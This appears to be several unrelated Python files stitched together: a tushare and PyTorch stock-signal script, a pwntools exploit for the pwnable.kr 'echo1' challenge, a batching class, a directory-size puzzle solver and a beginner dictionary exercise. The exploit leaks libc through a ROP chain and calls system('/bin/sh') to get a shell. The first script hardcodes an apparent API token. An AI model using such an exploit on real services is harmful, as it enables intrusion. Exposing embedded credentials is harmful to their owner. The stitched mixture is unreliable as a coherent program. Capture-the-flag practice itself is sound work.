
import pandas as pd
import numpy as np
import torch
import math
import time
import torch.utils.data as Data
import torch.nn as nn
import torch.nn.functional as F
from torch.optim import SGD
import scipy
from sklearn.metrics import mean_squared_error,mean_absolute_error
import tushare as ts
from sklearn.preprocessing import StandardScaler
from Quantdata.catchsignal import catch,catch_norm0
import multiprocessing
from multiprocessing import Pool, cpu_count
from functools import partial

pro = ts.pro_api("92bfb7a5df70a386927cf4cb1c2b5809df1f45ba402f32dc605111f6")
data=pd.read_feather('Database/20212022std2.feather')
stock = pro.stock_basic()
stock=stock.loc[stock['symbol'].isin(data['ts_code'])]
tslist=stock[['ts_code']]
df300 = pro.index_weight(**{
    "index_code": "000300.SH"
}, fields=[
    "index_code",
    "con_code",
    "trade_date",
    "weight"
])
ts300=df300.loc[df300['con_code'].isin(tslist['ts_code'])]
ts300=ts300[['con_code']]
ts300.drop_duplicates(inplace=True)
ts300=ts300['con_code'].tolist()
#ts300.append('600552.SH')
res=pd.DataFrame()
std=pd.read_feather('Database/标准化信息.feather')
sc=StandardScaler(with_mean=False, with_std=False)
sc.mean_=std['mean']
sc.scale_=std['std']

class MLPrg(nn.Module):
    def __init__(self):
        super(MLPrg,self).__init__()
        self.hidden1=nn.Linear(in_features=100,out_features=512,bias=True)
        self.drop=nn.Dropout(0.2)
        self.hidden2=nn.Linear(in_features=512,out_features=256)
        self.predict=nn.Linear(256,1)
        self.bn1=nn.BatchNorm1d(512)
        self.bn2=nn.BatchNorm1d(256)
    def forward(self,x):
        x=F.tanh(self.hidden1(x))
        x=self.drop(x)
        x=F.tanh(self.hidden2(x))
        x=self.drop(x)
        output=self.predict(x)
        return output[:,0]
if __name__ == '__main__':
    #rg = torch.load('modelbase/bestks0.025.pt').cpu()
    rg = torch.load('modelbase/bestks0.025.pt', map_location=torch.device('cpu'))
    with Pool(processes=cpu_count()-1) as pool:
        catchsignal1 = partial(catch_norm0, stddata=data)
        catchsignal2 = partial(catchsignal1, rg=rg)
        catchsignal3 = partial(catchsignal2, sc=sc)
        #results=pool.map(catchsignal3, tslist.sample(500)['ts_code'].tolist())
        results=pool.map(catchsignal3, ts300)
    res=pd.concat(results)
    res.index=range(res.shape[0])
    res.to_feather('Database/autodata.feather')


#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
from time import sleep
import sys
context.os = 'linux'
context.arch = 'amd64'
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]

elf = ELF("./echo1")
if sys.argv[1] == "l":
    context.log_level = "debug"
    # env = {'LD_PRELOAD': ''}
    # io = process("", env = env)
    io = process("./echo1")
    libc = elf.libc

else:
    io = remote("pwnable.kr", 9010)
    #  libc = ELF("")

def DEBUG(cmd = ""):
    raw_input("DEBUG: ")
    gdb.attach(io, cmd)

if __name__ == "__main__":
    pppr = asm('pop rdi;ret')
    io.sendlineafter(" : ", pppr)
    #  DEBUG("b *echo1\nc")
    io.sendlineafter("> ", "1")
    payload = flat([cyclic(0x20 + 8), elf.sym['id'], elf.got['puts'], elf.plt['puts']], elf.sym['echo1'])
    io.sendline(payload)
    libc.address = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - libc.sym['puts']
    success("libc.address -> {:#x}".format(libc.address))
    pause()

    payload = flat([cyclic(0x20 + 8), elf.sym['id'], next(libc.search("/bin/sh")), libc.sym['system']])
    io.sendline(payload)

    io.interactive()
    io.close()


import numpy as np
import torch
from pytt.batching.postprocessor import StandardOutputBatch
from .model import statistics_func

class OutputBatchApplications(StandardOutputBatch):
    @classmethod
    def from_outputs(cls, postprocessor, batch, outputs):
        loss, stats = cls.get_loss_stats(batch, outputs)
        with torch.autograd.no_grad():
            return loss, cls(len(batch), stats, batch=batch, outputs=outputs)

    @classmethod
    def loss(cls, batch, outputs):
        return None

    @classmethod
    def stats(cls, batch, outputs):
        results, stats = cls.test_func(batch, **outputs)
        stats['results'] = results
        return stats

    @classmethod
    def test_func(cls, batch, total_num_codes, num_codes, attention, traceback_attention, article_sentences_lengths, clustering, codes=None, labels=None):
        results = {'attention':attention, 'traceback_attention':traceback_attention, 'article_sentences_lengths':article_sentences_lengths,
                   'tokenized_text':batch.instances[0]['tokenized_sentences'], 'sentence_spans':batch.instances[0]['sentence_spans'], 'original_reports':batch.instances[0]['original_reports'],
                   'clustering':clustering}
        if codes is not None:
            stats = statistics_func(total_num_codes, num_codes, attention, traceback_attention, article_sentences_lengths, clustering, codes, labels=labels)
        else:
            stats = {}
        return results, stats

    def __init__(self, batch_length, batch_stats, batch=None, outputs=None):
        super(OutputBatchApplications, self).__init__(batch_length, batch_stats, batch=batch, outputs=outputs)
        if 'results' in batch_stats.keys():
            self.results = batch_stats['results']
            del batch_stats['results']

class OutputBatchTest(OutputBatchApplications):
    @classmethod
    def from_outputs(cls, postprocessor, batch, outputs):
        postprocessor.add_summary_stats(batch, outputs)
        return super(OutputBatchTest, cls).from_outputs(postprocessor, batch, outputs)


from treelib import Tree

rfs = Tree()
rfs.create_node('/', '/')
current_folder = None
current_path = []

def get_initial_rfs():
    return rfs

def change_directory(location):
    global current_folder, current_path

    if location == '..':
        current_path.pop()
        current_path.pop()

        if not current_path:
            current_path.append('/')
    else:
        if len(current_path) > 1 and len(current_path) % 2 == 0:
            current_path.append('/')
        current_path.append(location)

    current_folder = rfs.get_node("".join(p for p in current_path))

def get_current_node():
    global current_folder
    return current_folder.identifier

def make_dir(dirname):
    global current_folder, current_path
    absolute_path = ''.join(p for p in current_path)

    if absolute_path == "/":
        rfs.create_node(dirname, f'{absolute_path}{dirname}', parent=current_folder)
    else:
        rfs.create_node(dirname, f'{absolute_path}/{dirname}', parent=current_folder)

def touch_file(file_info):
    global current_folder
    size, name = file_info.split(' ')
    absolute_path = ''.join(p for p in current_path)
    rfs.create_node(name, f'{absolute_path}/{name}', data=int(size), parent=current_folder)

def process_terminal_history(history):
    for line in history:
        if line.startswith('$ cd'):
            change_directory(line.split(' ')[2])
        elif line.startswith('$ ls'):
            continue
        elif line.startswith('dir'):
            make_dir(line.split(' ')[1])
        else:
            touch_file(line)

    return rfs.to_json(with_data=True)

def get_usage(location):
    size = 0
    for f in rfs.expand_tree(location):
        n = rfs.get_node(f)
        size += n.data if n.data else 0
    return size

def get_total_usage_for_directories_smaller_than_100k():
    current_folder_size, total_size = 0, 0
    for f in rfs.expand_tree('/'):
        n = rfs.get_node(f)
        if n.fpointer:
            current_folder_size = get_usage(n.identifier)
            if current_folder_size < 100000:
                total_size += current_folder_size

    return total_size

def get_needed_space():
    current_disk_usage = get_usage('/')
    unused_space = 70000000 - current_disk_usage
    return 30000000 - unused_space

def get_deletion_candidates(needed_space):
    candidates = []
    current_folder_size, total_size = 0, 0
    for f in rfs.expand_tree('/'):
        n = rfs.get_node(f)
        if n.fpointer:
            current_folder_size = get_usage(n.identifier)
            if current_folder_size > needed_space:
                candidates.append(n.identifier)

    return candidates

def get_folder_size_to_be_deleted(candidates, needed_space):
    usages = []
    for c in candidates:
        usages.append(get_usage(c))

    usages.sort()
    for u in usages:
        if u >= needed_space:
            return u

if __name__ == '__main__':
    with open('input.txt', 'r') as file:
        puzzle = [line[:-1] for line in file.readlines()]

    process_terminal_history(puzzle)
    print(get_total_usage_for_directories_smaller_than_100k())
    needed_space = get_needed_space()
    print(get_folder_size_to_be_deleted(get_deletion_candidates(needed_space), needed_space))


human_01 = {
    'first_name' : 'Андрей',
    'last_name': 'Жеребцов',
    'age': '32',
    'citi': 'Minsk',
    }
human_02 = {
    'first_name' : 'иванов',
    'last_name': 'Иван',
    'age': '22',
    'citi': 'Gomel',
    }
human_03 = {
    'first_name' : 'Александр',
    'last_name': 'Кряжев',
    'age': '31',
    'citi': 'Jlobin',
    }
people = [human_01, human_02, human_03]

for item in people:
    for key, info in item.items():
        print(f'{key}:{info.title()}')

    print()